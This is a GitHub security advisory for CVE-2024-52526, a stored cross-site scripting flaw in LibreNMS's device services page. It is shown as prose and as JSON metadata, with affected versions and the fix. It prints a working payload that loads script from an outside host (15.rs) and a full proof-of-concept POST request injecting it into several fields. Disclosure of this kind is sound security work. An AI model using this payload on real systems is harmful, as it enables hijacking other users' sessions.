GHSA-8FH4-942R-JF2G

Vulnerability from github – Published: 2024-11-15 20:48 – Updated: 2024-11-15 20:48
VLAI?
Summary
LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/device/services.inc.php
Details

Summary

A Stored Cross-Site Scripting (XSS) vulnerability in the "Services" tab of the Device page allows authenticated users to inject arbitrary JavaScript through the "descr" parameter when adding a service to a device. This vulnerability could result in the execution of malicious code in the context of other users' sessions, potentially compromising their accounts and enabling unauthorized actions.

Details

When creating a device through the "edit device -> services" workflow (example path: "/device/15/edit/section=services"), the attacker can inject an XSS payload in the "descr" parameter. This payload is reflected in the "Services" tab of the device (URL: "/device/15/services"). It is important to note that the vulnerability does not exist when creating devices through the normal "Add Service" interface (created through the ajax_form.php request with the "type=create-service").

The payload used to exploit this vulnerability is: Descr'"><script/src=//15.rs></script>

Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.

The root cause is the application's failure to sanitize the "descr" parameter before outputting it in the HTML. The sink is as follows: https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/device/services.inc.php#L87

PoC

  1. Create a service for a device using the following payload in the "descr" parameter: Descr'"><script/src=//15.rs></script>
  2. Save the service.
  3. Navigate to the "Services" tab of the device.
  4. Observe that the injected script executes in the "Services" tab.

Example Request:

POST /device/15/edit/section=services HTTP/1.1
Host: <your_host>
Content-Type: application/x-www-form-urlencoded
Cookie: <your_cookie>

_token=<your_token>&name=Name'"><script/src=//15.rs></script>&addsrv=yes&device=15&type=pollen&descr=Descr'"><script/src=//15.rs></script>&ip=IP'"><script/src=//15.rs></script>&params=Params'"><script/src=//15.rs></script>&Submit=

Impact

This vulnerability allows authenticated users to inject and execute arbitrary JavaScript in the context of other users' sessions when they visit the "Services" tab of the device. This could result in the compromise of user accounts and unauthorized actions performed on their behalf.

Severity ?
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L
Show details on source website
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 24.9.1"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "librenms/librenms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "24.10.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-52526"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-11-15T20:48:45Z",
    "nvd_published_at": "2024-11-15T16:15:38Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA Stored Cross-Site Scripting (XSS) vulnerability in the \"Services\" tab of the Device page allows authenticated users to inject arbitrary JavaScript through the \"descr\" parameter when adding a service to a device. This vulnerability could result in the execution of malicious code in the context of other users\u0027 sessions, potentially compromising their accounts and enabling unauthorized actions.\n\n### Details\nWhen creating a device through the \"edit device -\u003e services\" workflow (example path: \"/device/15/edit/section=services\"), the attacker can inject an XSS payload in the \"descr\" parameter. This payload is reflected in the \"Services\" tab of the device (URL: \"/device/15/services\"). It is important to note that the vulnerability does not exist when creating devices through the normal \"Add Service\" interface (created through the ajax_form.php request with the \"type=create-service\").\n\nThe payload used to exploit this vulnerability is:\n```Descr\u0027\"\u003e\u003cscript/src=//15.rs\u003e\u003c/script\u003e```\n\nNote: The payload uses the \"15.rs\" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.\n\nThe root cause is the application\u0027s failure to sanitize the \"descr\" parameter before outputting it in the HTML. The sink is as follows:\nhttps://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/device/services.inc.php#L87\n\n### PoC\n1. Create a service for a device using the following payload in the \"descr\" parameter:\n```Descr\u0027\"\u003e\u003cscript/src=//15.rs\u003e\u003c/script\u003e```\n2. Save the service.\n3. Navigate to the \"Services\" tab of the device.\n4. Observe that the injected script executes in the \"Services\" tab.\n\nExample Request:\n```http\nPOST /device/15/edit/section=services HTTP/1.1\nHost: \u003cyour_host\u003e\nContent-Type: application/x-www-form-urlencoded\nCookie: \u003cyour_cookie\u003e\n\n_token=\u003cyour_token\u003e\u0026name=Name\u0027\"\u003e\u003cscript/src=//15.rs\u003e\u003c/script\u003e\u0026addsrv=yes\u0026device=15\u0026type=pollen\u0026descr=Descr\u0027\"\u003e\u003cscript/src=//15.rs\u003e\u003c/script\u003e\u0026ip=IP\u0027\"\u003e\u003cscript/src=//15.rs\u003e\u003c/script\u003e\u0026params=Params\u0027\"\u003e\u003cscript/src=//15.rs\u003e\u003c/script\u003e\u0026Submit=\n```\n\n### Impact\n\nThis vulnerability allows authenticated users to inject and execute arbitrary JavaScript in the context of other users\u0027 sessions when they visit the \"Services\" tab of the device. This could result in the compromise of user accounts and unauthorized actions performed on their behalf.",
  "id": "GHSA-8fh4-942r-jf2g",
  "modified": "2024-11-15T20:48:45Z",
  "published": "2024-11-15T20:48:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/librenms/librenms/security/advisories/GHSA-8fh4-942r-jf2g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52526"
    },
    {
      "type": "WEB",
      "url": "https://github.com/librenms/librenms/commit/30e522c29bbb1f9b72951025e7049a26c7e1d76e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/librenms/librenms"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LibreNMS has a Stored XSS (\u0027Cross-site Scripting\u0027) in librenms/includes/html/pages/device/services.inc.php"
}


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  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
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  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.